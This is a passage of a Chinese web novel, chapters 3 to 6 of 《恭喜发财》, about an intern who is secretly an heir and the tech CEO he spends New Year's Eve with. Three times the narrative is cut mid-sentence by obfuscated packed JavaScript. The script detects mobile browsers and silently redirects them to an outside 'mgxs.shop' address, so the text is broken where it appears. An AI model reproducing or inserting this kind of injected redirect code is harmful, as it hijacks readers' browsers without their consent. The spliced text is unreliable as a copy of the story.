《恭喜发财》 3. 第 3 章 谈霄和周若飞走得远了些。 周若飞刚才听到谈霄对那人的称呼,问谈霄道:“那是你老板吗?居然是个帅哥诶,一点都不像旅行社老板。” 谈霄说:“问程是互联网上市公司,真不是什么旅行社,刚才那位是问程的执行总裁,问程没有CEO,执行总裁直接对董事会负责,是实际话事人。” 周若飞压根不在乎这些,说:“你们总裁怎么那么像个公务员?” 谈霄说:“中国企业家是这样的,普遍喜欢把自己打扮成得靠近体制内。” 为打消周若飞的痴心妄想,他还是给谈韵拨去了电话。瑞士时间现在是午后,谈韵肯定没空理他。 果然谈韵没接,只回了条快捷消息,正在工作,有事请留言。 “看吧,”谈霄说,“不是我不帮你,女王没空。” 周若飞一脸怅然若失,又说:“她有空也不爱理我,其实我知道的,我天生就不是她喜欢的类型。” 谈霄大惊道:“真知道假知道啊?你怎么突然长脑子了?” 周若飞却道:“她喜欢的是你总裁那样的男人。” “啊?没……没有吧?”谈霄疑惑道,“可我前姐夫也不长这样。” 周若飞说:“那是联姻,又不是她真想嫁,她不喜欢那个法国皮匠。” 那位昙花一现的前姐夫可不是什么皮匠,是法国百年皮具品牌的年轻掌门人。 谈霄对姐姐的婚事不是很清楚,谈韵大他十几岁,多年前闪婚闪离,一切都发生在欧洲,前后还不到一年,同时间谈霄正在中国备战高考,离得又远,只对这事模糊有个印象。 周若飞嫉妒得牙根痒痒,既嫉妒那位前姐夫,又嫉妒张行川的脸,异想天开地许起愿来:“等我今晚睡觉,魂穿成你们老板,然后再去找韵姐联姻。” 谈霄说:“那你还是别做这梦了,以问程的体量,我老板年金最多一千多万,就算我姐真有再次联姻的打算,也不会和他。” 周若飞道:“一千多万也不算少了。” 谈霄说:“是人民币。” 周若飞重新许愿:“无妨,穷帅穷帅的,联姻不成,给你们谈家当豪门赘婿也很合适。” 谈霄正色道:“请不要恶意编排我们总裁了,他只是一个没什么钱的大帅哥,他有什么错?” 第二天。 市场部运营岗实习生谈霄一上班,在工位上坐了还没十分钟,就被总裁办一个电话叫上楼去。 在张行川的总裁办公室里。 谈霄坐在张行川对面,不知道这总裁要找他聊什么,就也静观其变,没主动打开话题。 张行川没戴眼镜,应该是度数不高,没有和近视镜焊死。 办公室暖和,总裁没有外出安排,只穿了休闲衬衫,比谈霄前两次见他时,多了几分亲和力,他本来就是很爱笑的人,今天是邻家暖男的形象。 总裁没有提昨天晚上餐厅偶遇的无关事项,那是实习生在公司外的私事。 他只问谈霄,在市场部实习得怎么样,温和恰当地表达了关心。 谈霄应对这种对话游刃有余,两人一问一答,聊得有来有回。 张行川又问:“你那篇人工智能和POI的论文写得怎么样了? 谈霄说:“已经投了期刊,过完年才知道能不能发。” 张行川说:“你还挺有效率。” 谈霄说:“当时没事,写得就很快,来问程实习就忙了起来,这大半个月,一事无成。” 张行川当初不清楚他是博士生,叫他来问程实习,百分百是好意。 现在这个情况,显得自己这校友十分不地道,把一个清大准金融博士诓过来,却又放在市场部运营岗,杀小鸡崽用了把大马士革钢牛刀。 谈霄在人情世故上很聪明,看张行川这态度,很快明白他并不是存心这么做,大概有点无关紧要的小误会。 谈霄还是个心胸开阔的人,立刻决定不和张总计较了。 “我没别的意思,”谈霄说,“不是在抱怨。” 张行川道:“运营这个工作对你来说,太简单了。” 谈霄想了想,实话实说道:“也不能算简单,事情很多,但都很无聊,要每天都做无聊的工作,就是挺难的一件事。” 这个观点,张行川深感同意,挑战有难度的事对他来说更有趣味性。他以为谈霄也是这个意思。 他打算过完年就让谈霄去金融事业部,现在话都说到这份上,还勉强谈霄回市场部继续做运营也不好,于是他作出临时调整:“春节前你先来我这里。” 他交代自己的特助来带着谈霄。 特助带谈霄出去,让行政安排转岗实习以及工位等事宜,又单独进来问张行川:“张总,具体是要教他些什么?” 张行川不甚在意,说:“带着就行,让他自己学。” 张行川再是中意谈霄,总裁手把手教一个学生做事,也很不现实。 而且他认为谈霄应该有自学能力,如果这种能力都没有,那他也没继续关注谈霄的必要。 特助姐姐被派了个临时尾巴,起初是有点烦的,但谈霄勤快,嘴甜会说话,还聪明得离谱,很多她刚上任总裁特助时一筹莫展摸索几次才明白的工作,谈霄在旁边看了看就懂了。 没过几天,不用她提要求,谈霄就能主动帮她处理近三分之一的工作量。 “嘉欣姐,”谈霄给特助看他做好的文书,说,“你看看对不对,没问题我就发了。” 特助看了看,点头同意他去发,心里开始感谢张行川,年底人人都忙得不可开交,单单给她派了个天使弟弟来帮忙做事,人美心善的总裁,合该他发财。 如果总裁能从指缝里再漏一点财给她,那就更好了。 张行川正在打电话,谈霄敲了门进来,替特助来送份文件,张行川示意他等一等。 谈霄在旁边站着无聊,看到桌上放了一个扭扭乐解压玩具,拿起来随手捏了捏。 打电话的张行川:“……” 他都没看清楚过程,只看到谈霄用修长的指头捏了几下,把扭扭乐捏出了一个思考者的线条轮廓。 这是什么扭扭乐雕塑大师。 张行川打完了电话,谈霄把文件放他面前,张行川看过没问题,签了字。 “怎么样,”他问谈霄,“总裁办的工作会无聊吗?” “还可以,我还在适应中。”谈霄说,“多亏了嘉欣姐,她人真好。” 张行川表示同意:“嘉欣确实是很好。” 特助学历普通,毕业进了问程,第一个职位是机票预订专员,但她勤奋负责,稳扎稳打,有处理问题的能力,也从不怕担责,后面换了不同的部门,仍然年年都是优秀员工。 除了工作能力外,还有人品可靠,心细如发,记忆力超群这些超强特质在闪闪发光,于是她被张行川看到了,调去做人力资源,后又转到行政办公室,一路着意培养,特助自己也很努力,问程上市,她被张行川调到总裁办,三十刚出头就做了总裁特助,已经跻身问程管理中层。 不得不说,张行川是真的很爱当伯乐。 他想起还有一周就要过年,而春节后再有几个月,谈霄也该毕业了。 张行川顺势问起:“你对毕业后的发展有什么计划吗?” 他笃定谈霄该会有一番清晰的人生规划,现在主要是想听听谈霄有多少留在问程的意向。 让谈霄暂时在总裁办跟着特助这段时间,张行川时不时也对他进行一番观察,甚为满意,甚至已经想好,假如他毕业后能正式加入问程,要安排他从哪个部门开始任职,如何一步一步锤炼,假如发展顺利的话,将来十分有望成为自己的得力干将。 谈霄这次却很不识相。 在总裁办待的这段时日,他也逐渐领悟到了张行川的一些行事逻辑。 特助嘉欣姐的例子不是孤例,张行川就是很喜欢给员工发展机会,爱发掘身边人的潜力,培养自己选中的人才并使其大放异彩,这个过程会让张总很有成就感。 这总裁是真有点养成的爱好在身上。 谈霄看得出张行川现在想养成的目标是他,但他又百分百没有被养成的需求,还是要当机立断拒绝总裁,免得浪费对方的这一腔好意。 而且问程能提供的资源是有限的,如果他占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200865|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据了总裁养成的生态位,那必然有一个本来有机会出头的青年才俊要错失大好机会。 “我是随遇而安的咸鱼,没什么计划,”谈霄坦陈道,“可能会继续搞搞学术,报名博士后流动站,不过按惯例博士后多半要担任教学工作,我还不想误人子弟,要再想想。” 张行川一下子还没明白,道:“搞学术不是不行,只是你学的是金融,又有这么好的条件,出来做事会更有前景。” 谈霄说:“那就太卷了,我对自己没有一定要当成功人士的期许,没有去卷的必要。” 张行川茫然了片刻,很不理解地问:“你都在清大念到博士了,有几个同龄人能比你卷?” 谈霄对此很是嚣张,说:“读书考试对我来说是和呼吸一样简单的事,我现在还在念博士,就是为了不出来卷。” “别开玩笑,”张行川说,“你从本科起就一直在很积极地实习和实践,别说你真的没任何目标。” 谈霄道:“我很认真,喜欢实习是因为实习本身就是很好玩的事,何况只读书不参与实践活动,人会变傻。” 张行川:“……” 他了解过谈霄的家境,父母离异,跟着妈妈生活,妈妈已经再婚,夫妻两个都是南方某省会城市的普通公务员。 谈霄待人接物方面表现得张弛有度,大抵是公务员家庭氛围熏陶出来的性情。 这样的家庭没有很充裕的现金流,但是小孩生活在这背景里,也不会有太大的物质困扰。 张行川想了想,说:“谈恋爱了吗?爱情要走得长远,也需要物质基础。” 谈霄道:“没有谈恋爱,我也不想谈。” 这把总裁彻底整不会了。 张行川自己从清大本科毕业,赴美读研,又在硅谷历练两年,而后回国创业,十几年来日日砥砺前行,摘取到成功小目标这一路上的荆棘和繁花,于他而言是多彩有趣的风景,人生如果重启的话,他也仍然愿意再来一次。 诚然他很喜欢谈霄,谈霄是个非常聪明的年轻人,又不喜欢沉闷无聊的事物,说明性格底色就是爱冒险,知进退,懂人情,高学历甚至是他优点中最不值一提的一个点。 张行川是万万没想到,看起来如此六边形的标准“卷王”,怎么是一条咸鱼? “总裁,”谈霄还是条好奇咸鱼,问,“你别只问我,你有女朋友吗?” 张行川没招了,千里马跑不了一点,还想向上管理伯乐。 “我单身。”张行川说。 谈霄在问程和同事们相处很好,偶尔也听别人八卦,不少人言之凿凿地说过,张行川不谈恋爱,不近女色,是因为有位学生时代的白月光,当年种种原因没能在一起,白月光已婚还去了海外,张行川一直没能放下,宁可单身,也绝不将就。 谈霄当时就发出疑问:不是,你们说的究竟是张行川,还是何以琛啊? 他对传言内容将信将疑,但也着实好奇,张行川这么一个人,怎么能三十多岁还单身。 谈霄说:“总裁你这么帅,为什么没有女朋友?” 张行川奇怪地看他,说:“你也很帅,为什么你没有女朋友?” 谈霄道:“我才几岁,还小呢。” 张行川说:“过完年就二十四了,很小吗?” 谈霄说:“我是不想谈女朋友,你是……” 张行川不想让他提问,强势追问:“你是为了什么不想谈呢?” 这问题谈霄还真无从解释,说:“原因有点复杂,总之我是身不由己。” 嗯?张行川一挑眉。 谈霄说:“是有一些私人原因,我不能自由地谈自己想谈的恋爱,我也不想欺骗无辜女孩的感情,干脆就不谈了。” 就连谈韵女王都得被迫联姻,他又有什么本事,能选择自己喜欢的结婚对象?与其误人误己,不如封心锁爱。 张行川:…… 张行川悟了。 他见过一次谈霄和一位中性美男子拉拉扯扯,本来就有那么一点怀疑。 现在又听了谈霄这番疑似欲盖弥彰的发言。 属意的千里马突变咸鱼,还是个男……男同? 4.第 4 章 人一旦带着预设立场去观察人和事,就很容易在先入为主的心理暗示下,得出自己想得出的结果。 正如现在起,张行川越看谈霄,越觉得他像个小给子。 谈霄坐在工位上认真办公,牛仔裤管底下露出了白袜边。 张行川:给子。 女同事帮谈霄拿了外卖,谈霄道谢时,嘴甜地说了句“谢谢姐妹”。 张行川:给子。 室内暖气太干,谈霄用手机屏幕当镜子,涂了润唇膏。 张行川:给子……不对。 这好像有点太刻板印象了,不一定对。 张行川也不能百分百确定自己拥有鉴给子的超强能力,偶尔闲暇时打量谈霄,全当是玩人类观察小游戏。 实习生的性取向,终究和总裁也没什么直接干系就是了。 既然谈霄愿意当条咸鱼,那等寒假实习结束,回学校当他的咸鱼就好了。 张行川不能养成自己看上的小马驹,只觉得有点遗憾。 春节来了,他和谈·咸鱼·霄的关系,却有了一次意料之外的转折。 起因是总裁特助嘉欣小姐姐听说了谈霄将要一个人在学校寝室过年的事。 “总裁办除夕才放假,初三就上班,”特助和谈霄关系很好了,插刀式地安慰他说,“你只要能按时复工,就只需要忍耐三天,孤独真的很短,加班才是永远。” 谈霄说:“嘉欣姐,年终奖终于入账,你现在是人都不当了是吧。” 提起丰厚年终奖,特助又喜笑颜开,进一步安慰谈霄说:“又不是只有你一个独立过年,老板也是一个人呢。” 谈霄道:“他家里没别人了吗?父母呢?也都不在了?” “不不,”特助吓一跳,说,“你别那副表情,不是你想的那样,他父母移民去了澳大利亚,在那边过着很幸福的生活。” 谈霄舒了口气。 他对张行川印象很不错,总裁是个很好的人。世上的好人都应该获得幸福美满的生活。 因此听到张行川还有家人,谈霄也会为他感到高兴。 谈霄的妈妈是个普通人,为人不错,谈霄和她关系也还可以,这些年他在中国读书,家庭关系人一直都填她的信息,多少也曾给她添过一些本不必要的麻烦。 她再婚也有些年头,没有再要孩子,和丈夫二人世界过得也很甜蜜,谈霄一般不愿意去打扰这对夫妻的平静生活。 谈霄的爸爸前两年有了新家庭,他如果没记错,现在这个妻子是自己的第三位继母,听说是位拉丁美裔的选美小姐,非常漂亮,他还没见过,他这两年没回过欧洲,那场婚礼也没有邀请他。 他不愿意回家去当好一个继承人的角色,他爸爸当然也没工夫和他演什么父慈子孝。 年长谈霄十几岁的姐姐谈韵,和谈霄不是一个母亲所出。 谈韵对他来说更有点长姐如母的意味,小时候他每年都会回家去生活几个月,家庭教师们教他各种豪门继承人应该掌握的技能和礼仪,包括爸爸在内的长辈们很少出现,更多的是谈韵在担任管教他的任务,谈韵是很严厉的姐姐,谈霄和她的关系不亲昵,彼此基于血缘,还算有着较为坚固的牵绊和信任。 前提是谈霄不去和她争夺第一继承人的位置。 所以没有人应该和谈霄一起过年,亲人们都有自己的生活,有自己的家人。 明天就是除夕了。 谈霄在张行川办公室门口经过了几次。 张行川看到他走过来,又走去,过了一会儿,又走过来,走过去。 终于张行川忍无可忍,把他叫了进来:“你是在我门口city walk吗?” 自从上次一番咸鱼论的对话,张行川就没有约谈过这匹毫无进取心的小马,谈霄也不主动来他面前溜达,两人还没再单独说过话。 谈霄并不是不好意思,只是见张行川忙于工作,想等一个他不忙的时机。 现在被叫了进来,谈霄开门见山道:“明天晚上有人和你一起吃年夜饭吗?没有的话,我有没有荣幸,能邀请你和我一起?” 张行川很意外,也有一点意外之喜。他对谈霄这人还是好感居多,这么一个聪明伶俐还很养眼的年轻人,就在眼前当个吉祥物,没事聊几句,有助于总裁及时更新对00后的认识,也是很好的。 只是因为谈霄选择当咸鱼,不识抬举,拒绝了养成计划,总裁多少有点栽面儿,也恨铁不成钢,更导致他没什么充分理由,再去和谈霄亲近。 谈霄说:“我请客,算作答谢张总对我的……对我的赏识。” 他说“赏识”这两个字的时候,内心实在觉得很怪。 理性上知道张行川对他的所谓“赏识”,纯属是总裁自作多情。 感性上,他还是喜欢张行川这个人,总裁从各方面来说都是个很好的人,相处起来也很愉快。 基于这个原因,他不想孤独地过这个除夕,要找一个饭搭子,同时落了单的张行川,成为了他的最佳人选。 张行川也已经从特助那里听说了一点谈霄独自过春节的风声。 “可以。”张行川说,“现在还能订到餐厅吗?我来订吧,你喜欢什么菜系?” 临时订位,热门的餐厅都很难有空,张行川打算动用一点钞能力。 谈霄却说:“我已经订好了,明晚七点。” 张行川没有问是去什么地方,是麦当劳也无妨。 “除夕可能不好打车,”他说,“明天我去学校接你。” 谈霄怔了下,很快欣然道:“正好,不然我还得坐地铁。” 除夕下午,司机放假,张行川自己开了车,到清大校门口接谈霄。 谈霄上车后,导航了餐厅地址。 这是他们第一次私下里单独见面,张行川不知道该先说些什么,他平时会约出门的朋友,多是和他年纪相仿的老同学,或工作中认识的二三知己,一般见面的话题是成年人间的寒暄,问问家里近况,说说行业行情,偶尔喝几杯,酒过三巡就开始吹牛。 但和00后一起玩,这种模式就实在有点登味儿溢出了。 “冷吗?”张行川认为自己拿捏一个邻家兄长的人设,是再好不过的,说,“需要的话,可以把温度调高一点。” 谈霄说:“还好,今天很暖和。” 这00后也和平时不大一样。 于是张行川知道了,谈霄也不知道该和他说些什么话题。 张行川示意谈霄看后排,说:“送你的新春礼物。” 谈霄看了看,那里放了一个印了奢侈品logo的大袋子,问:“是什么?” 张行川道:“你可以现在就打开看看。” 谈霄便拿过来打开看了,是个男士双肩包,款式倒是很适合学生和职场新人,经典款,但印了马标识,是马年新春限定款。 谈霄适当做出喜欢的表情,说:“谢谢总裁,正好是我本命年。” “我也本命年。”张行川道,“不要客气,是你请我吃年夜饭的回礼。” 到了餐厅,停车的时候,张行川依稀觉得好像是来过这地方。 门迎小姐问了谈霄的订位信息,飞快地眨了眨眼,悄声对着麦说:“谈先生到了。” 里面一位经理快步出来,带了两人进去,笑容可掬地请两人进到包间里。 张行川看到古色古香的推拉门上,精致刺绣的喜鹊登枝,顿时想起了这个地方。 他问谈霄:“你提前多久订到的位子?” 这家平时也很难约,菜品还搞限量供应,除夕应该更难约到。 谈霄说:“三天吧。” 他决定约张行川一起过除夕的时候,才约了这家的位。 张行川纳闷道:“这里生意变得这么差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208778|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 谈霄:“……” 他一个学生,黑卡插队这种事当然不能说了。 “我也不清楚,”谈霄道,“可能正好有人取消预约,被我捡漏了吧。” 张行川在事业腾飞后,几乎没再这样和单独一个非利益往来关系的人,目的单纯地一起吃饭,还是有特殊意义的年夜饭。 这家餐厅隔音极好,包间内极为安静,两人不说话,屋里掉根针都能听得见。 谈霄说:“我邀请你一起吃年夜饭,好像是有点冒昧了。” 张行川道:“怎么会。” 谈霄轻叹了口气,说:“嘉欣姐说你也一个人过年,我想两个人,总比一个人要热闹些。” 张行川说:“是好很多。” 谈霄问:“你不觉得尴尬吧?” 张行川反问道:“你呢,不尴尬吧?” 两个人都笑起来。 谈霄说:“我今年本来有点想去我妈那里,不想讨她老公的嫌,最后还是放弃了。” 张行川点了点头,表示理解。 谈霄说:“去年我是找了一个也没地方去的师兄一起过年,他毕业了,今年我就没了伴。” 张行川道:“我不是伴吗?” 谈霄说:“是,你比那师兄当伴还要更好点,我和师兄坐一起真是大眼瞪小眼,我绞尽脑汁找话题,他就只顾着埋头吃饺子。” 张行川道:“这位饺子仙人,他是哑巴吗。” 谈霄哈哈大笑。 这家餐厅很难约,菜品也和难约程度匹配,非常好吃。 似乎比张行川记忆中要更美味一些。 “你工作这么忙,”谈霄又主动发问,“我听说你父母在澳洲,他们也不想回来陪你过年吗?” 张行川说:“离得远,偶尔联系就还好,常见面反而不好,我爸每次和我见面都会吵架。” 谈霄点点头:“理解,好像中国很多家庭的父子关系都是这样,保持距离才能保住父子情分,不明白这是为什么。” 张行川听他这话怪怪的,想到了一种可能,说:“你爸爸不是中国人?我是说你的生父。” 谈霄想了想,说:“他有多国护照,出生在意大利,后来常住瑞士,我也不知道他算是哪人,他有四分之一的中国血统,外祖母是中国人,据他自己说是一个清朝格格,谁知道是真还是假,反正他经常自诩血统高贵,要我说,他就是个串儿。” 张行川一时哭笑不得,这么点评自己的父亲,很是荒唐,也说明这对父子关系是真完了。 除了肤色很白,鼻子很高,谈霄也没有什么明显的白人特征。高外祖母和生身母亲的显性基因大获全胜,单论外表,他是很俊美的亚洲容颜。 张行川猜测道:“你妈妈留学认识了他?” “不,是他以前来中国,在上海做生意,”谈霄说,“需要找一个地陪翻译,我妈是复大的德语研究生,然后他俩就恋爱了,接着闪婚,很快就有了我,我妈还在月子里,我爸又和他新招的女翻译恋爱了。” 张行川点评道:“原来是位恋爱专家。” 谈霄说:“他还真是很会谈恋爱,据说每一任老婆都爱他爱得要死要活,被分手的时候都恨不得杀了他。” “现在还在中国吗?”张行川道,“是做哪一行的?” 谈霄说:“运输业,当时来中国是想做类似跨境物流的业务,开展得不顺利,就半途而废回去了,现在他也半退休,不怎么工作。” 张行川道:“多大年纪,就退休了?” “五十多,大概快六十,在认识我妈之前他还有一次婚姻,我有一个大我十几岁的姐姐。”谈霄道,“我和我爸几乎不联系,他后面再婚了好几次,我还有一个弟弟,两个妹妹,不过我都没怎么见过。” 张行川不知该说什么才好,真是一个很难评的欧洲老登。 5.第 5 章 谈霄说的都是实话,这欧洲老登当时来中国,确实是为了开拓在中国的物流业务。 当时谈霄的祖父还年富力强,那家全球排名前列的航运公司,权杖也还没有交接给谈霄的爸爸。 再深入聊这个话题,势必要牵扯出一些没必要提起的内情。谈霄不想对张行川说谎。 于是他转而问起张行川:“你呢?我听说你小时候家里条件不好,是真的吗?” 张行川道:“假的,小康之家,家庭关系和谐,这么说吧,我在创业之前,一天苦都没吃过。” 他父母是彼此的初恋,退休前各自都有稳定的工作,夫唱妇随,琴瑟和谐。 张行川从小成绩优异,品貌双全,更是堪称气运之子,创业固然艰辛但没遇到过什么不可战胜的困难。 更何况身为总裁,他身体健康没胃病,每日笑口常开,喜欢交友,热爱生活,情绪稳定,是相当罕见的一位快乐总裁。 谈霄说:“靠自己努力当上了成功的创一代,你也真的很厉害。” 张行川说:“个人不管如何努力,没有时代的机遇,那也是不行的,我运气不错,互联网和旅游业的两个风口都被我遇上了。” 谈霄说:“别人怎么没抓住时代的机遇,你就是很厉害。我做运营那半个月,受命关注问程的舆情,很多问程深度用户对你本人的好感,要大过对于问程APP本身。” 张行川作为头部旅行APP问程的创始人之一,他在互联网上的个人风评良好,大众本来对技术出身的草根精英就愿意给与更多的包容度,加之张行川本人的形象和做事风格,也都很容易让人心生好感和信任。 张行川坦然接受了赞美,道:“那也确实,我当然有几分真本事在身上。” 谈霄笑道:“你都不再谦虚几句了吗?” “再谦虚就虚伪了。”张行川道,“其实我非常自恋,你在网上刷到夸我的帖子,都是我自己用爬虫写的。” 张行川很会开玩笑,时机和尺度也拿捏得很好。例如现在,他希望这个围绕他自身的话题快速划过去,就开了一个轻巧的玩笑。 当然玩笑的风格也要根据对方的身份来调整,这种调侃式无中生有的自黑,对谈霄这一代习惯于整天搞抽象的00后来说,刚刚好。 事实上两人从认识以来几乎每次聊天都很投机。除了谈霄明志当咸鱼那一次。 期间张行川借口去洗手间,打算悄悄去买了单。 经理笑颜可掬地告诉他,谈先生已经买过了。 他也只好作罢,看了下账单,心中略生歉疚,这真是害谈霄破费了,在问程实习一个月的薪资,全用来付了这一餐还不够,本就只薅到稀薄的羊毛,又用回到了羊总裁身上。 吃过饭还不到九点,离开时,餐厅送了一匹毛绒玩具小马做新春纪念品,红色鬃毛配金色马鞍,萌萌的大眼睛,精神抖擞。 餐厅的停车位在室外,两人结伴去取车。 谈霄边走边把玩那年味十足的小马,问张行川:“你有看春晚的习惯吗?” 张行川说:“没有,我是南方人。” 谈霄最近刚看了他的一些采访,他对媒体自述祖籍在胶东半岛,老一辈响应援建,迁居到了南方,大学以前生活在长江南岸的新一线省会。 “我也是南方人。”谈霄说,“我还挺喜欢看春晚,热热闹闹,很有年味。” 他从小独自在北京读书,寒暑假回欧洲,没怎么在南方待过,但因为他妈妈是浙江人,他给自己的溯源定位,就是一个在北漂的中国南方人。 张行川开着车,谈霄在副驾上扣了安全带。 从停车场开上路,除夕夜里,街道张灯结彩,到处都是红彤彤的年味。几乎没有行人。 浓厚的节日氛围里,孤独的人就会显得更孤独。 张行川无端生出联想,谈霄回到寂寥无人的博士生寝室,坐在孤零零的一盏白炽灯下,独自看着喧闹的春晚。 “别回学校了,”张行川经过了一点思考,还是把邀请说了出来,“去我家过年吧。” 谈霄吃了一惊,说:“不方便吧。” 张行川道:“没什么不方便,我家里房间很多。” 谈霄是想去的,去一个有人味的地方过年,体验虽然还未可知,总好过一个人在节日里无聊度日,很快说:“那我就不客气了。” 张行川家里请的帮佣也都放了假,和司机一样,到年初三才回来。 他住在奥园附近,一座庭院别墅。 从进大门起,院子空空荡荡,整栋房子都很安静,每个声响都有空寂的回声。 谈霄又有点同情张行川了,一个人在这大得能闹鬼的房子里过年,好惨啊总裁。 当然他这份豪门少爷的同情心,相对很小众。普通人真拥有这大得能闹鬼的房子,那每一天都能过年,做梦都能笑醒了,无论如何也惨不了一点。 进门后,张行川脱了自己的大衣,又顺手接过谈霄的羽绒服,拿去一起挂了。 谈霄很有客随主便的自觉,他本身也有去任何地方都不会感到拘谨的见识和经验。 “你家还是很漂亮的。”他环顾四周,这赞美不太真心。 张行川没有留意到他此时的表情,信以为真,说:“是吧,前房主是个画家,是人家装的,虽然我看不太懂,来的人都说很漂亮,加上保养得也很好,我就没再动装修。” 谈霄奇道:“为什么你会买二手房?” 他是认真不懂才问,怎么要买别人住过的房子?又不是老胡同里的四合院。 他在北京只有一处房产,购于十几年前,因为中学需要走读,他很喜欢四合院,但他又只有一个人,真住进去也会很无聊,犹豫再三没有买,选了一处无趣的平层,大学住校后他也很少回去住。 张行川倒是知道,许多大学生对于“成功人士”的财富量级,认知比较模糊。 他还是对谈霄做了解释:“因为我是最近几年才了有点钱,北京现在新房很少,我只有二手房能选,这房子还有贷款没还完。” 谈霄对张行川这位中国互联网新贵的经济情况,又有了进一步的认识。 他想起周若飞那句“适合当赘婿”的戏言,忍不住露出点笑意。假如他是谈韵的话,与其去和不知所谓的豪门联姻,真不如选择一个性情稳定的中产帅哥来共度一生。 从这个角度看,张行川还真是很合适的人选。很可惜,他和张行川都是男生。 “你随意一点,”张行川说,“想吃什么用什么就自己找一下。老实说,家里东西我也不太清楚放在哪。” 家里暖气很足,谈霄想喝点冰的,去开了客厅冰箱,又看旁边酒柜,发现东西还备得挺齐全,说:“那我可以自己调酒喝吗?” 张行川去打开了没用过几次的电视,调台到春晚直播,说:“当然。可以给我也来一杯吗?” 谈霄今天为了应除夕的景,特意穿了件华丽的新衬衫,孔雀蓝丝绒布料,领口缀了细碎小珍珠,他又很白,站在吧台的暖色灯下,如一湾秀逸湖水,波光盈盈。 张行川在吧台外的高脚凳上坐了,欣赏地看着谈霄。 谈霄把袖口折了起来,开始调酒,在鸡尾酒杯里倒了伏特加基底,而后加了蔓越莓汁,再是橙皮利口酒,最后把小青柠对半切,汁液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213548|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤进酒水里,做好了一杯大都会。 最后他用两指推着杯子,送到了坐在吧台边等待的张行川面前。 张行川本来以为他说的“调酒”,是橙汁兑基酒那种基础长饮,没想到他真会,还做得很优雅。 “你家没有量杯,”谈霄说,“比例是我按感觉兑的,大差不差,总之凑合喝吧。” 张行川品尝了,一点不凑合,调得很不错。 谈霄又给自己调了一杯马天尼。 张行川看着自己面前淡粉色的鸡尾酒,说:“所以你给我做一杯女士漂亮酒,是什么意思呢?” 谈霄说:“谁说漂亮就是女士酒了?好看的鸡尾酒,当然该调给好看的人。” 他在吧台内侧,正把折起的袖口折回原样,眼睛望着张行川,脸上了露出恶作剧的痞帅微笑。 张行川端坐在外面的高脚凳上,安静看着他的动作和表情,年轻帅气的男生一旦开始下意识耍帅,就会很自然让人联想到公孔雀开屏。 这算是在对我开屏吗?张行川不由得心想。可我真不是男同。 谈霄只以为这是个寻常的玩笑,只是张行川忽然看起来有点严肃。 玩笑当然要双方都觉得好笑才成立。 于是谈霄也收敛了笑容,端起自己的杯子,把马天尼一饮而尽。 张行川很快调整了下想法。 像他自己身为异性恋,并不会没事就对女士们想入非非。 那么谈霄即使真是男同,那也只是取向的一种。正常人际交往,也不必无端产生性缘联想。 他也把自己的酒杯空了,对谈霄说:“帮我拿一罐啤酒吧,鸡尾酒对我来说太甜了。” 谈霄照做,转身从冰箱里拿了啤酒,给自己也拿了一罐。 张行川说:“要坐过去看春晚节目吗?” 谈霄道:“不了,就这样,有节日氛围就可以了。” 张行川“嗯”了声,右手轻扣着易拉罐,单手拉开了环,送到唇边喝了一口。 谈霄观察他的动作,发自真心觉得这哥哥非常之帅,是谈霄在自己这个年龄完全不可能拥有的一种帅气。 “我刚才是不是冒犯到你了?”谈霄诚恳地表达了歉意,说,“真的很对不起,我也真的就只是想夸你好看来着。” “我没有不高兴。”张行川打算敷衍过去,道,“是想到了别的事,走神了。” 他很快又抛出问题:“你还学过调酒吗?” 谈霄在成年后的一年暑假,和周若飞以及别的一帮朋友玩,无聊时学了一手,师父是位花式调酒大师赛的世界冠军。 “调酒是很简单的,”谈霄仗着自己年纪小,装了个大的,说,“有手就会。” 张行川笑了笑。 谈霄说:“你平时喝酒吗?好像也没看过你抽烟。” 张行川道:“平时不喝,应酬时喝点。没抽过烟,活着不好吗?” 谈霄也笑起来,说:“我还以为你们程序员都是烟中恶鬼。” “这真是对程序员最大的误解,”张行川道,“写代码的时候要全神贯注,哪有时间腾出手来做别的。” “说的也是,我写论文进入心流状态,水都没空喝一口。”谈霄把自己的啤酒送到张行川面前,说,“请帮我开一下,像刚才开你那罐那样。” 张行川道:“什么?” 谈霄道:“单手开易拉罐,你是怎么做到的?让我再看看。” 张行川听他在这儿东拉西扯烟与酒,原来是想学这个。 “很简单的,”张行川开了那罐啤酒,故意快得让谈霄看不清楚,而后道,“你看,有手就会。” 6.第 6 章 大年初一早上,谈霄起床第一件事就是先给张行川拜了年,张行川给他包了一个大红包,逗他玩着说:“是压岁钱哦。” 已经正式进入农历马年,三十六岁的张行川给二十四岁的谈霄发“压岁钱”,当然是在开玩笑。 